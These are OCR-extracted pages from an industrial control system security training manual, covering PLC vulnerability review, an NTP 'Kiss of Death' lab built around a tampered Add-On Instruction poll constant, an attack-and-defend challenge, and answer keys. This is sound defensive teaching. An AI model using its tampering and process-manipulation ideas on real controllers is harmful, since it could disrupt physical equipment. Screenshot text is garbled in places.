B E5H.0 7.5 May 1, 2019 1

Details

. Threat Intelligence
Threat Intelligence

PR @ 5.9
cvssvix @ 5.9

Affected Assets

Threat Intelligence gives us some good context around specific CVEs. It does not provide the context unique to the assets

posture in the environment or calculatable risk between this threat vector versus others. This is not a fault of the tool, but

rather providing the knowledge about vulnerabilities

Controllers and Modules
Network Assets
# Network Map

v @& Risk
CVEs
Vulnerabilities
NNM Plugins

v & Network

Network Summary

CVE-2019-10952
‘ fﬁ v

E

VPR (CVSSv3.x CVSSv2.0 Published Date Affected Assets

59 59 7.5 May 1, 2019 1

Details

Threat Intelligence Name Type
Affected Assets RawPod1 PLC

5. Select vulnerabilities from the menu on the left under "Risks" and review the vulnerabilities listed.

Controllers and Modules
Network Assets
# Network Map

v ‘& Risk
CVEs
Vulnerabilities
NNM Plugins

v & Network

Network Summary

Vulnerabilities B
Name Severity ¥ Description
Identifying op¢
Commonly Exploited Ports High be easily explc
malware.
All operating s
Obsolete OS Medium out of date, aft

not be used.

The severity is valuable but is also a guide as it does not account for unique environmental and architectural context.

6. Select commonly Exploited Ports and take a moment to review the information.
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Controllers and Modules
Network Assets
# Network Map

v ‘& Risk
CVEs
Vulnerabilities
NNM Plugins

v &% Network

Network Summary

Unfortunately, many ports used in an ICS are exploitable and required. Understanding the network segments these protocols
are operating within and the risk of the boundaries they communicate across would help determine the contextual risks.

Not all asset can be actively scanned for vulnerabilities or evaluated for risk equally. When determining which assets must be
evaluated, consider whether this asset is critical to the organization or this asset is a high-value target for an adversary.
Understanding criticality and value of an asset can be used to drive cyber security prioritization and efficiency in a

55 Commonly Exploited Ports

Vulnerability

<

Details
Name
H Affected Assets

RD0OO

PVP3439

Endpoint #15

Endnnint #11

vulnerability management program.

Reports from these tools can be helpful for documented reference but the details must be evaluated against accuracy and
appropriate context before sharing with in-the-know parties. This tool can change some automated naming and

categorization to assist with these common problems.

7. Close the Web Browser.

1. What firmware is running on the controllers?

Type
Workstation
Workstation

Endpoint

Fndnnint

2. What model of CompactLogix is being reported?

3. How many ‘code download' events have you seen for your pod?

4. Were any code downloads performed from a computer other than yours?

5. How many vulnerabilities are shown as associated with the controller?
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Exercise Takeaways

Asset interrogation requires the scanner to support the ICS protocol in order to get basic information beyond just a simple ping or
NMAP scan. If an asset is connected to a communication module in the PLC rack then it is probable that asset discovery will not
be successful because of the protocol encapsulation that must occur for the message to traverse a backplane. To gain an entire
asset inventory picture, you will end up aggregating data sources.

Change management helps us track "what" changes were made to an environment by "whom". With ICS devices, on-line change
support was a product design requirement but in today's security conscience environment that creates change management
logistics issues. Controlling on-line configuration changes are part procedural and part technical controls. Automation and
infrastructure vendors are giving us tools to help track changes such as code compare tools, alerting capabilities when
configurations are changed and some even provide time limited authorization tools to enforce coordination of changes.

Patches are typically created to make the software or firmware operate as intended. Patches may be issued to address functional
anomalies that could lead to a threat actor using the anomaly in nefarious ways. Patching can be viewed as a simple act of
updating software but in the industrial environment patching can be challenging.

Starting with a production running an old operating system that is no longer being offered patches or the requirement for
thorough testing on a backup system before being deployed on a production system, patching a control system can be quite
challenging. ICS items like the controller, instrumentation and I/O subsystems may never be patched so being aware of the current
firmware levels and the current list of vulnerabilities is important until it is deemed necessary to apply the patches to these
devices.

Switches, routers and firewalls in the ICS environment are oftentimes never patched, especially if an OT person is in charge of
particular devices. For instance, the Stratix line has switches, routers and firewalls that may never be touched by the IT staff and
because they are "hidden" away, they never get patched.
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Lab 4.5 -- Kiss of Death (KoD) Attack

Background

Total Lab Time: 15 minutes
Tools Used:

* Windows VM
* Studio 5000 Programming Software

» Wireshark

PLC's can use NTP servers to set their wall clock time. NTP servers can be found in an ICS environment withing many devices.
Sometimes NTP time sources can be found in network switches or actual servers like a Linux server. In this lab we will:

» Download the CompactlLogix controller to query an NTP server
» We will change the frequency of the NTP request to the point, the NTP server puts us in a rate limited mode.

+ We will use Wireshark to investigate the "RATE" packet, also known as the "Kiss of Death (KoD) packet

Task 1 -- Download the Allen-Bradley CompactLogix Controller

1.0pen the Lab Files — Lab4.5 — Allen-Bradley folder and download your respective Pod Lab 4.5 project to the
CompactLogix. If there are two students using the pod, only one of you needs to download the CompactLogix PLC.

2. Make sure the CompactLogix PLC is in run mode and the PLC is running the your project. If you need a refresher how to
download the Allen-Bradley CompactLogix PLC, see Lab 1.7, task 1.

Task 2 -- Network Time Protocol (NTP)

An operator reports that the timestamp on the products is sometime in the future, and they swear it's from the year 2036.

Thinking like an automation engineer, remember the product time stamp comes from CompactLogix PLC so you will need to go
online with the PLC

1. Go online with your Pod's controller using Studio 5000. Verify the Controller is in Run Mode
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@ Logix Designer - MixingPod4 [1769-L18ER-BB1B 24.13] - o X
File Edit View Search Logic Communications Tools Window Help
1285 B ¥ Q| pon [ememnieiz |8 | oo V1@

B oncoler M
A Controller Tags
£3 Controller Fault Handler
£3 Power-Up Handler
& &Tasks
| & @ MainTask
58 MainProgram
@1 BreakerCtr
i CBP_BreakerCirl
8 B T_ModbusCtrl
& CBP_ModbusMasterTCP
£3 Unscheduled Programs / Phases
=} &3 Motion Groups
£ Ungrouped Axes
2 £9Add-On Instructions
% AOLSNTP_QUERY
/99 AOLTIME_ADD
3 AOI_TIME_DIFFERENCE
=& Data Types
| @GR User-Defined
i) 3 Strings
(3 Add-On-Defined
& G Predefined
& (3 Module-Defined
3 Trends
w Logical Model
= €31/0 Configuration
= @ pointio
-®10) 1769-L18ER-BB18B MixingPod4
£ E4Embedded /0
# (1) Embedded Discrete IO
(=& Expansion I/O, 1 Module
- [2] 1734-OW4/C BreakerContactMod
=% Ethernet

vlcm
[t= Controller Organizer %, Logical Organizer |8 Erors @ Search Results @ Watch
Upload complete with no erors or wamings. a

2. You want to check the Time in the PLC, so you highlight the Controller folder and right click. Select Properties .

‘ Logix Designer - Pod01 in RawPod0102052022 Lab04.5.ACD [176¢
File Edit View Search Logic Communications Tools Wit

A & LBl o o] &
Path: IAB_ETHIP-1\172
Rem Run ¥ ™ RunMode 5 i
No Forces S ® Controller OK
-
No Edits a - Energy Storage OK < > i
1/0 OK =

3. You notice the time is set to the future in 2036 so you press the set Date, Time and Zone from Workstation and you notice
the time did not change.
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Note

If there are two students working on the CompactLogix controller at the same time, you may want to coordinate the
changing of variables and any logic with each other so you can individually see the effects of your changes.

@ Controller Properties - Pod01 =
Nonvolatile Memory Memory Internet Protocol Port Configuration Network Security Alarm Log
General Major Faults Minor Faults Date/Time Advanced SFC Execution Project

i) The Date and Time displayed here is Controller local time, not workstation local time.
Use these fields to configure Time attributes of the Controller

I q;t Date, Time and Zone from Workstation I €

Date and Time:  |2/6/2036 11:28:24 PM | | Change Date and Time... ¢

Time Zone: (UTC-07:00) Arizona Ve
[JAdjustfor Daylight Saving (+00:00) <
Time Synchronize
A% DANGER . Iftime synchronization is disabled

online, active axes in any controller in this
chassis, or any other synchronized device,

[JEnable Time Synchronization

O Is the system time master may experience unexpected motion. Safety
) ) controllers may faultif no other time master
2 Is a synchronized time slave exists in the local chassis.

O Duplicate CST master detected
O CST Mastership disabled

O No CST master Advanced...

OK Cancel Apply Help

4. Now you have no idea why the time is automatically being set to the future. You remember, the PLC time is coming from an
NTP server at IP Address 172.20.1.12 but after you investigate the NTP time server, the time being reported by this NTP timer
is correct.

Note

You are not expected to investigate the NTP server in this lab. The step above simply lists a troubleshooting step that you
would do in a real situation, but for this lab, assume the NTP server is set to the correct time.

5. After investigation, you realize NTP servers work on the principle of a minimum and maximum poll rate and if you attempt to
poll an NTP server to frequently, it will send you a Kiss of Death (KoD) packet. A KoD packet is a packet that is sent from the
NTP server back to the client with the same transmit timestamp as the reference timestamp. Basically, the NTP server will

echo back the exact same time references letting the client know it's polling to frequently and the NTP server sees this as a
DoS.
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6 Reconnect your laptop ethernet cable into either port 3 or 4 of the Pod switch.

7. Open Wireshark on your Windows VM and start the capture using the Eth0 interface. Enter a filter of 'ntp' so you are only
looking at the ntp traffic. Look at your Pod's PLC address in the source column where your Pod's PLC IP Address is 172.16.
(pod #).2. You will see where your pod's PLC is sending out the reference packet of February 7,2036.

A Capturing from Ethernet0 - m} X
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
Amie XNC Qe EF I = QQAQIE
fi ~| Expression... +
No. Time Source Destination Protocol Length Info N
173 4.845373 172.16.1.2 172.20.1.12 NTP 90 NTP Version 1, client
174 4.845788 172.20.1.12 172.16.1.2 NTP 90 NTP Version 1, server
280 7.884750 47216172 172.20.1.12 NTP 90 NTP Version 1, client
543 15.925165 172:16-12 172.20.1.12 NTP 90 NTP Version 1, client
544 15.925481 172.20.1.12 172.16.1.2 NTP 90 NTP Version 1, server
643 18.954009 172.16.1.2 172.20.1.12 NTP 90 NTP Version 1, client
919 26.994181 172516172 172.20.1.12 NTP 90 NTP Version 1, client
920 26.994607 172.20.1.12 172.16.1.2 NTP 90 NTP Version 1, server
1412 20 044770 172 16 1 2 172.20.1.12 NTP QA NTP Vercion 1 client ¥
< >
> Frame 280: 90 bytes on wire (720 bits), 90 bytes captured (720 bits) on interface @

> Ethernet II, Src: Rockwell b3:74:2b (5¢:88:16:b3:74:2b), Dst: Vmware_la:32:d6 (00:0c:29:1a:32:d6)
> Internet Protocol Version 4, Src: 172.16.1.2, Dst: 172.20.1.12
> User Datagram Protocol, Src Port: 55248, Dst Port: 123
v Network Time Protocol (NTP Version 1, client)
> Flags: 0x0b, Leap Indicator: no warning, Version number: NTP Version 1, Mode: client

Peer Clock Stratum: unspecified or invalid (0)

Peer Polling Interval: invalid (@)

Peer Clock Precision: 1.000000 seconds

Root Delay: 0.000000 seconds

Root Dispersion: 0.000000 seconds

S ID- N
Reference Timestamp: Feb 7, 2036 06:28:16.000000000 UTC

Receive Timestamp: Feb 7, 2036 06:28:16.000000000 UTC
Transmit Timestamp: Feb 7, 2036 06:28:16.000000000 UTC

0000 00 Oc 29 1a 32 d6 5c 88 16 b3 74 2b 08 00 45 00  --)-2-\- --t+--E-
7010 00 4c Se 3e 00 00 40 11 2 32 ac 10 01 02 ac 10 -LA>--@- -2------
01 Oe d7 do 00 7b 00 38 c2 01 Gb 00 00 00 00 00 - - - -- (48] soe a5
@0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 - - - - ---- - ...
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 - - - - - - .- -

00 00 00 00 00 00 00 0oj _

Frame (frame), 90 bytes Packets: 2740 - Displayed: 25 (0.9%) H Profile: Default

You see the NTP server 172.20.1.12 is responding with a response of 'RATE' and is not changing the time. Essentially echoing
the same time that is being sent as a reference.
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£ Capturing from Ethernet0

File Edit View Go Capture Analyze Statistics Telephony

Wireless Tools Help

Origin Timestamp:

> Internet Protocol Version 4, Src:172.20.1.12

> User Datagram Protocol, Src Port: 123, Dst Port: 55250

v Network Time Protocol (NTP Version 1, server)
> Flags: Oxcc, Leap Indicator: unknown (clock unsynchronized), Version number: NTP Version 1, Mode:

Request In: 543

[Delta Time: 0.000316000 seconds]

Peer Clock Stratum: unspecified or invalid (@)

Peer Polling Interval: invalid (3)

Peer Clock Precision: 1.000000 seconds

Root Delay: 0.000000 seconds

Dst: 172.16.1.2

Reference ID: Unidentified reference source "RATE’
Reference Timestamp: Feb

7, 2036 06:28:16.000000000 UTC
Feb 7, 2036 06:28:16.000000000 UTC

Al & e TRE Qe EF S TS QAQE
(R [ntp -] Expression...  +
No. Time Source Destination Protocol  Length Info N
173 4.845373 172236122 172.20.1.12 NTP 90 NTP Version 1, client
174 4.845788 172.20.1.12 172.16.1.2 NTP 90 NTP Version 1, server
280 7.884750 172.16.1.2 172.20.1.12 NTP 90 NTP Version 1, client
I 543 15.925165 172.16.1.2 172.20.1.12 NTP 90 NTP Version 1, client
544 15.925481 172.20.1.12 172:16-352 NTP 90 NTP Version 1, server
643 18.954009 172.16.1.2 172.20.1.12 NTP 90 NTP Version 1, client
919 26.994181 172:36-3-2 172.20.1.12 NTP 90 NTP Version 1, client
920 26.994607 172.20.1.12 172.16.1.2 NTP 90 NTP Version 1, server
e 1012 20 AA4770 172 16 1 2 172.20.1.12 NTP QA NTP Vercinn 1 client v
>
> Frame 544: 90 bytes on wire (720 bits), 90 bytes captured (720 bits) on interface © A
> Ethernet II, Src: Vmware_la:32:d6 (00:0c:29:1a:32:d6), Dst: Rockwell b3:74:2b (5c:88:16:b3:74:2b)

server

5c 88 16 b3 74 2b 00 Oc 29 1a 32 d6 08 00 45 b8
00 4c 92 cf 40 00 40 11 4c e9 ac 10 01 Qe ac 10
01 02 00 7b d7 d2 00 38 57 78 cc 00 03 00 00 00
00 00 00 00 00 00 52 41 54 45
00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

Frame (frame), 90 bytes

Packets: 4539 - Displayed: 44 (1.0%) Profile: Default

The PLC started polling the NTP server too frequently and the NTP server sent a KoD packet identified by the "RATE" packet
being sent back to the PLC. We also see where the reference and receive timestamps were the same which is indicative of the

KoD packet. Now you must find out why the PLC is polling too frequently.

8. After running the comparison tool, you find the vendor's tested and supplied Add-On Instruction has been modified.

Note

results.

You do not need to run the comparison tool for this lab - this step has been done for you so just observe the following
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n Logix Designer Compare Tool - MixingPod0406282020 Lab04.7 NTP-MixingPod0406282020 Lab04.7.compare - [Ladder Routine - AOI_SN1

Eile Edit Options Window Help
VR|A2ANBSBZ|E&EDavw
Left Ladder Contents - AOI_SNTP_QUERY:Logic

EQU Enable_Instru  Trigger L.gpdeh_ Trigger, te_
0000 Enual BT. :lr | (U 0000 |—
Source A 0
77 <
Source B State ]
77 <
a3 - - -
MOV
Mave
1
27 <
Destination State
27 <

|||m Comre Results ||

After further investigation, you can see the Add-On Instruction was modified to poll more frequently due to a mathematical
constant of 60000 being changed in the ladder code to 600. SNEEKY!
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EQU-

—— Equal
Source A

Source B

0

State
0

Enable_|
i |1 o

Convert poll rate to milliseconds and write to timer preset.
Execute timer and populate the seconds countdown display.

If not leaving this state (timer not done), TND returns out of the AOI. this saves on scan time.

Defines how often to
poll the SNT server
for time. Units in
minutes.

Go to state 1 when timer goes done

This slight modification will cause the NTP poll rate to increase and thereby cause the NTP server to send the KoD packet. If
we look at this in a little bit more in depth, 6000 milliseconds is 6 seconds while 600 milliseconds is .6 seconds. This small

DG

GRT-

Greater Than (A>B)

Source A Query_Interval_in_Min
1

Source B

0

Time was retrieved

DN MUL-
3 E Multiply
EQU Source A 600
cai Source B Query_Interval_in_Min

change causes the NTP request to go much faster.

9. We can modify the SNTP query rate to slow down our requests for NTP time. Make sure you are online with the CompactLogix
PLC and open the "RedBearSocket" subroutine. Find the AOI_SNTP_QUERY instruction. Click on the Query_Interval_in_Min and

Source A Query_Error_Retry_in_Min 1
0 Dest Interval_Timer.PRE
Source B 0 0
There was an error
retrieving the time
ER NEQ MUL-
J E Not Equal Multiply

Source B

Source A Query_Error_Retry_in_Min
0

0

Source A 60000
Source B Query_Error_Retry_in_Min

Dest Interval_Timer. PRE
0

adjust that variable from 1 to 10. By adjusting this variable, it will stop the frequent NTP query to the NTP Server

Note

If there are two students working on the CompactLogix controller at the same time, you may want to coordinate the
changing of variables and any logic with each other so you can individually see the effects of your changes.
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6 Logix Designer - Pod01 in RawPod0102052022 Lab04.5.ACD [1769-L18ER-BB1B 24.13]* - [MainProgram - RedBearSocket*] - O X
E| File Edit View Search Logic Communications Tools Window Help - & %
BEE & 1BE o SRR B MY QQ| [k, |9
Path: | AB_ETHIP-1117216.12 - | &
]
Rem Run o o Run Mode COH ol el AF W F »
No Forces . '_ Controller OK i
No Edits a Energy Storage OK < > '\ Favorites { Add-On £ Alarms £ Bit A Timer/Coul
F ook
0
Controller Organizer > X iy GRGEE® [dg o v o | LAY VX ¥ ¥¥ Wi »
= || &-& Controller Pod01 ~ Disclaimer - All information provided - No warranty or implied merchantability. A
o Controller Tags Refer to the RSLogix 5000 End User License Agreement (EULA) in the Release Notes.
Q
[ &=
Controller Fault Handler This AOI_SNTP_QUERY instruction retrieves the current time from a NTP (Network Time Protocol) server and returns the date
(3 Power-Up Handler to SNTP_Time_Retrieved and optionally the ller's clock as well
-3 Tasks
£-63 MainTask Update "SNTP_SERVER_ADDRESS" tag with <IP address> or <Hostname=> of the NTP server.
= Viain ‘?5 Examples “2.pool.ntp.org” , "192.168.1.1"
=+ MainProgram
ill in Query_Interval_in_Min with the number of minutes to periodocally update between successful queries. 0 disables query.
[# Parameters and Local Tags Fillin Query_| I_in_Min with th f mi peri lly ful queries. 0 disables query.
EdMainRoutine
Pod2PodComms Fill in Query_Error_in_Min with the number fo minutes to retry after an error.
Fill in the Sync_Controller_Clock with a 1 to automatically update controller clock, 0 otherwise.
RedpgaTSOCKet Next_Query_in_Min will display minutes remaining before the next update.
R_Initialize
RModbusSarsing IMPORTANT! Set the Enabl 1 ble th Set Ti Update Now if d pd.
. 1 Set the Enable instruction to a 1 to enable the instruction. Set Trigger ate Now if an immediate update is
R_RawOrPackPodCI{ck1 desired (Enable_Instruction must also be set).
R_RawOrPackPodClick2 Set Sync controller clock to have the controllers clock updated by the instruction at the time of a query.
=88 T_BreakerCtrl — —
! uery and Cloc
(03 P_BreakerCtrl Sync Instruction
=8 T_ModbusCtrl AOI_SNTP_QUERY-
#-C% P_ModbusMasterTCP 0 SNTP Query and Clock Sync Instruction
- AOI_SNTP_QUERY SNTP_AOI_TAG [ ... FCEND—
i &= U_nschedu!ed Programs / Phases Enable_Instruction e
= £ Motion Groups Trigger_Update_Now 0e (DN
3 Ungrouped Axes Sync_Controller_Clock 1e
. g P ) Enet_Slot_Number 0e HCERD
(== Add-On Instructions Query_Interval_in_Min | I NEEEEE «
(=-&3 AOI_SNTP_QUERY Query_Error_Retry_in_Min 0e
! B Next_Query_in_Min 3.36666661e-003
Para_meters and Local Tags UTC Time SNTP_TIME_ RETRIEVED
B Logic Server_Address SNTP_SERVER_ADDRESS
[& Prescan MSG_Data SNTP_MSG_DATA
& SKT_Create SNTP_MSG_CREATE | ...
& @5OI—TIME-ADD v SKT_Open SNTP_MSG_OPEN [ ...
i oi SKT_Write SNTP_MSG_WRITE | ...
ype EadderiDiagram ~ SKT_Read SNTP_MSG_READ |
Descrip Red Bear Socket Wink Wink o SKT_Delete SNTP_MSG_DELETE [ ..
< > v
= = MainRouti RedBearSocket™ (L ]
Query_Interval_in_Min Rung 0 of 5 APP VER &

10. After you have adjusted the Query_Interval_In_Min time to 10, go back to Wireshark and wait for about 30 seconds to one
minute. You will find that the NTP server will start sending the corrected time without the 'RATE' or KoD packet.

11.Open the Lab Files — Lab 2.1 — Allen-Bradley folder and download your respective Pod Lab 2.1 files to the
CompactLogix. If there are two students using the pod, only one of you needs to download the CompactLogix PLC

1. Will the same make and model of PLC skew the same amount of time under the same temperature and humidity conditions?

2. Without a time source to correct the time skew, will a personal computer or PLC time be more likely wander further out of

sync?
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3 What is distance / time?

Exercise Takeaways

Time is very important to control system stability as well as synchronizing audit logs and doing forensics on sequence of events.
We need to realize that not all time sources provide the same amount of accuracy. We need to also realize that time in an
embedded device may be skewing and getting more inaccurate when it's compared to a precise time source. We also need to
realize that if we try to correct our time skew to quickly, it can lead to a crash of physical equipment. Thinking about the subject of
correcting our errors in time, if we correct all our time error within one scan, the velocity calculation will be incorrect. We said
velocity is based on the mathematical formula of distance divided by time. If the delta or the change from one time sample to
next jumps by some large amount, our velocity calculation will think we moved some distance over some larger amount of time.
This can lead to a catastrophic event such as when if a piece of equipment is moving very quickly and the time error gets
corrected in one scan, it may falsely try to speed up the equipment which in some cases will cause the physical machinery to
crash. Keeping time synchronized with a precision time source is very important but often overlooked.
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Section 5 -- Challenge Section

Background

Objectives

+ Fix a broken environment
« Attack or defend the running process

« Compete for fame and fortune

Task 1 -- Local Pod Work

1. Troubleshoot the issues identified

2. Work your Kit, then the shared pod, then your components of the process, and last the class components to restore the
process

3. Validate process functionality

Task 2 -- Recover Operational Environment

1. Target the running process by combining some skills that you have learned or monitor and investigate the attacks being
performed by others using skills that you have learned.

2. Develop an attack approach and work with the instructors so we can ensure you are not stomping over the others in the
class.

3. If you would like you can build some detection systems and alerts or capture traffic and perform some analysis to determine
where the attack is coming from and what they are trying to achieve.

4. This activity is meant to be unstructured and intended to be collaborative. Please work on whatever elements interest you the
most and will aid you when you return to work, but please keep the instructors informed of what you are doing if it can impact
the class.

Task 3 -- Challenge Competition

1. A challenge competition has been created and will be run in the classroom.

2. Details will be provided by the instructor.

S CAS N ELCEES

There are a variety of skill sets that have been covered throughout this course, however learning an approach to troubleshooting
will aid you in so many tasks when you return to work. Thinking like an adversary and how to catch an adversary who may be
targeting multiple parts of your process with different goals will help you limit the effect of a successful attack within your
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environment. Finally, working through system defense and attack scenarios through hands on challenges and keeping your skills
fresh is an essential element of being a practitioner in the ICS cybersecurity space.
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Lab 1 Answer Key

Lab 1.2 -- Student Kit Familiarization

Questions

1. Can all memory locations be successfully forced "On" with the Override View??

While you can enter variables into the Override View that you wish to change, the PLC ladder logic may be scanning the same
value and change the value based on how the ladder logic has solved this variable. If the ladder logic is not writing to the
value, then it is likely that you can change the value in the Override View.

2. Can you complete this entire lab without an ethernet cable?

Yes, the Click PLC has a serial port which can be used for programming and monitoring.

3. When TD1 stops counting, what element starts counting?

Timer T2 "Off Timer" should start timing. The TD2 "Off Timer" register shows the current value of the T2 "Off Timer". You will

see this register incrementing as the timer is running.

Lab 1.3 -- PLC Programming and I/O Integration

Questions

1. When memory coil C1 -- "Hack Useless Box" is energized in program ClickLab01.3-complete.ckp, is the C1 contact on Rung 5
open or closed and why? (see Task 4, Step 5 for a screen shot of Rung 5)

Open. This is a bit of a tricky question. If the ladder logic has a normally closed C1 contact in the rung, then energizing coil C1
would cause the normally closed contact to change state from closed to open. We could also say this contact solves "False"
when coil C1 is energized and "True" when coil C1 is deenergized.
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2. When a Click PLC timer is energized, does the accumulated value stop incrementing once it is equal to the Preset value?

No. Each PLC vendor can choose the way they want to implement the accumulated value of a timer. Some PLC's like the Click
PLC will allow the accumulated value to continue to count up while the rung evaluates to "True" while other PLC's like the
CompactlLogix PLC will stop the accumulated value once the actual value is equal to the preset value. Why is this important?
If you use mathematical expressions in your logic and the accumulated value rolls over from a high positive number like
65535 to a low positive number like 1, then your logic may behave like you intended. It's important to be aware of how a
vendor has implemented their timer and counter accumulated values.

3. Is it possible to override a Click PLC output within the Override View?

No. It is possible to override input values and other data values, but the Click PLC has not allowed the user to override the
actual output register.

Lab 1.4 -- Integrating Analog Input

Questions

1. By setting the thermocouple to a different type, will the actual temperature be reading higher or lower?

This is a bit of a trick question. We don't know because the question has not given enough information to answer the question
because the answer depends on what type of thermocouple we currently have configured and what type thermocouple the
configuration was changed to. The question is meant to stimulate your thoughts about the non-linear nature of
thermocouples and how each type of thermocouple has a different non-linear curve.

2. What are the two main types of analog signals used by an ICS system?

The two main types of analog signals found in industrial control systems consist of a voltage signal or a current signal. When
you design an industrial control system, you choose analog input and output PLC modules or "cards" from a perspective of
the voltages and/or current. We look at the voltages or currents supplied by the input and output devices. Most ICS vendors
will support a product for voltage or current ranges, and this will determine the PLC input and output cards you need to
purchase in order to interface with your analog devices. You also take into consideration types of sensors that are needed to
monitor the process you are controlling and that may dictate if you will need a voltage or a current module. Examples include
but are not limited to valve positional sensors, linear positional sensors, pressure sensors, rotational sensors and flow

sensors.
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3. How can we detect if an analog sensor has failed?

You can purchase analog cards with input sensor or output failed circuitry and use this in your PLC code to annunciate this
alarm condition. With analog I/0 subsystems, it is very popular to use 4-20 milliamp circuitry to detect a broken wire or failed
analog output scenarios. The advantage of using current instead of voltage sensors is by having a small electrical current like
4 milliamps as the lowest scaled measurement, the PLC card can sense if the amperage goes to zero milliamps which

indicates faulty wiring or faulty devices.

Lab 1.5 -- Local HMI Setup and Control

Questions

1. Where should setpoint limit checking occur, the HMI, the PLC or both?

Both. If we only do setpoint limit checking within the HMI, then we can manipulate the PLC to control beyond the intended
ranges of the process. It's easier to configure setpoint limits within the HMI but we should also define our critical values and
impose setpoint limits within our PLC code. For instance, let's pretend we have an OEM machine that is intended to only stroke
a valve to 75% of the valves range or perhaps we need to limit a drive range to maximum RPM as a maximum control value. If
we don't program the PLC to limit the valve range to 75% within the PLC code, then we can run the machine beyond
specification. Sound like any situation you have heard of? Maybe a Stuxnet situation?

2. When should a local HMI be part of the ICS solution?

This has two parts to a more complete answer. The first part of the answer could be "whenever a process is so critical that we
need a redundant view into the process that is not dependent upon a computer-based HMI". Why not depend on a computer-
based HMI? What is the largest and easiest target within an ICS environment? Any computer systems running Commercial-
off-the-Shelf (COTS) operating systems (0S). If we use a separate and local HMI or Electronic Operator Interface (EOl) with a
different flavor of embedded operating system, then we can minimize our reliance on one OS. The second part of this answer
is a financially motivated answer. Most ICS decisions for redundancy or duplicate functionality is limited by financial
resources. It may not be financially possible to put a redundant solution in place simply because we cannot afford to do so.
There is the initial spend of purchasing the hardware, but we must also consider the cost of engineering and maintenance as
we implement a local HMI solution.

3. Is the HMI polling the PLC or is the PLC sending data change notices only?

In our lab, the HMI is polling the PLC for values. With some PLC platforms, they have a tight integration with the HMI package
and are capable of sending values as a "chunk” of data to the HMI or the PLC will only send data to the HMI clients when the

subscribed tag value changes. An example could be alarm and event tags found within the PLC that only annunciate upon a
change of state to the HMI instead of the HMI scanning the alarm and event tags at a predetermined time value.
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Lab 1.6 -- Configure the Shared Pod Elements

Questions

1. RSLinx is used to discover automation assets. What do you have to enable on a router to discover assets on a different
VLAN?

Directed Broadcast. As per Rockwell Automation's Ethernet Design Considerations manual and more specifically Knowledge
Base Tech Note #575003 "To successfully browse a remote subnet, enable a directed broadcast on all of the routers attached

to your remote subnet."

2. What protocol is being used to communicate between the Allen-Bradley CompactLogix and the Click PLC? Hint: the Click

Plus PLC has been configured to communicate using port 502.

Modbus TCP/IP which is also known as "Modbus TCP" has a default port of 502. The Click Plus PLC has default protocol

support for Modbus TCP.

3. What protocol is being used to communicate between the PanelView and the CompactLogix?

EtherNet /IP. Most Ethernet/IP devices communicate over ports 44818 and 2222 depending on the connection type and class.

44818 is used for TCP communications while port 2222 is used for UDP communications.

Lab 1.7 -- Connect Student Kits to the Shared Pod

Questions

1. What is the purpose of the INITIALIZE file in the Click?

To set critical variables when the PLC starts running the program. Specifically, for the Click PLC initialization file, it sets the
plant area in which your Click PLC is operating. It also "resets" a bit that we use as an "always false" bit. The idea of an

initialization file is to set critical variables to a known value and to set or reset specific bits.

2. What is the purpose of the R_Initialize file in the CompactLogix controller?

To set critical variables when the PLC starts running the program. Specifically, for the CompactLogix PLC initialization file, it
sets the plant area in which its operating. It also sets the critical values for the Modbus TCP communications parameters so it
can communicate via Modbus to Click PLC 1 and 2. The idea of an initialization file is to set critical variables to a known

value and to set or reset specific bits.
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3. How many enable bits are required to be "On" or "True" to have one of the transaction arrays in the CompactLogix work?

There are two enable bits that need to be set to "On" or "True" for the CompactLogix Modbus TCP logic to enable Modbus
communications. They are:

* MBTU_EnMBTCP. This is the master enable bit used to turn the Modbus communications on and off. Turning off will close
any connections that were open.

+ MBTU_Connections[x].MBTU_Enable where "x" is a value of 0 -- 3 depending on the Modbus communication channel. "X" is
a value of 0 for Click 1 and is a value of 1 for Click 2. This is a more granular method to enable and disable each Modbus
communication channel.

Lab 1.8 -- Process Interrupt Through Student Kit

Questions

1. What would happen if the CompactLogix PLC loses communication with the Click? Would filling, mixing or grinding occur?

This is a multi-scenario answer.

Scenario 1) IF the Useless Box switch is in the on position AND the Click PLC communications were not successful then the
answer would be "NO", filling, mixing, and grinding would NOT occur.

Scenario 2) IF the Useless Box switch is in the on position AND the Click has transmitted a "1" to the appropriate
CompactLogix register and communications ceased then the answer would be "YES", filling, mixing, and grinding WOULD
CONTINUE to occur.

So, how do we fix scenario 2? We could use our CompactLogix to Click PLC communication watchdog timer alarm within the
filling, mixing, or grinding permissive logic to stop each action if we lose communications.

2. What routine is responsible for controlling the breakers?

R_BreakerCtrl. Note, R_BreakerCtrl is placed inside a periodic task called T_BreakerCtrl. A periodic task is scheduled to run at a
consistent time interval and is often used for processes that require knowledge of how much time has passed since the task
was last run. For instance, a Proportional Integral and Derivative (PID) instruction requires a very consistent time sampling in
order to run with stability and therefore will need to be placed in a periodic task. A periodic task has configurable time
interrupts (time interval) to allow a deterministic execution of logic.
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3. Why are there timers to control the amount of time a breaker closed, or breaker open command is given?

If we read the vendor breaker specifications, it specifies the following minimum and maximum cycle data:

+ 8 ms minimum, 300 ms maximum solenoid operation

* Maximum duty cycle of 6 OPEN/CLOSE cycles per minute
Therefore, we chose to set a 250-millisecond maximum coil energized limit by utilizing timers.

All systems have mechanical limitations and safeguards are designed to protect people, environment and equipment. Some
safeguards can be manipulated or leveraged to damage or destroy equipment.

Lab 1.9 -- Local Process Environment Mapping

Questions

1. How many assets are connected to your pod?

The following Rockwell Automation assets should show up on your scan:

+ CompactLogix

* PanelView

* Stratix 2500

* Remote I/0 (1734-AENT)

The following Click PLC's should show up IF they are connected to the Stratix 5700 switch:

* Click 1
* Click 2

The following student PC's should show up IF they are connected to the Stratix 57000

+ Student 1 PC
+ Student 2 PC

2. What different assets show up in the Nmap scan that did not show up with the previously performed RSLinx scans?

Nmap will report any listening service of any device on Ethernet as opposed to RSLinx that will only report on the Common
Industrial Protocol (CIP) interface services of supported devices .
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3. Is it "safer" to run an RSLinx scan or an Nmap scan on the Rockwell assets and why?

It is "safer” to run the RSLinx scan first and find the Rockwell assets before running an Nmap scan because it has been
reported that Nmap, NESSUS and other active scanners can cause issues for PLC or other automation assets. The question is
"why"? In some cases, it can be an overloaded PLC that may have a single CPU to service both the ladder logic and the
communication processes that can cause an issue. Sometimes it is a network issue where the additional Nmap activity can
cause the PLC to not receive remote I/0 messages and cause a process to shut down. It is recommended to find out if the PLC
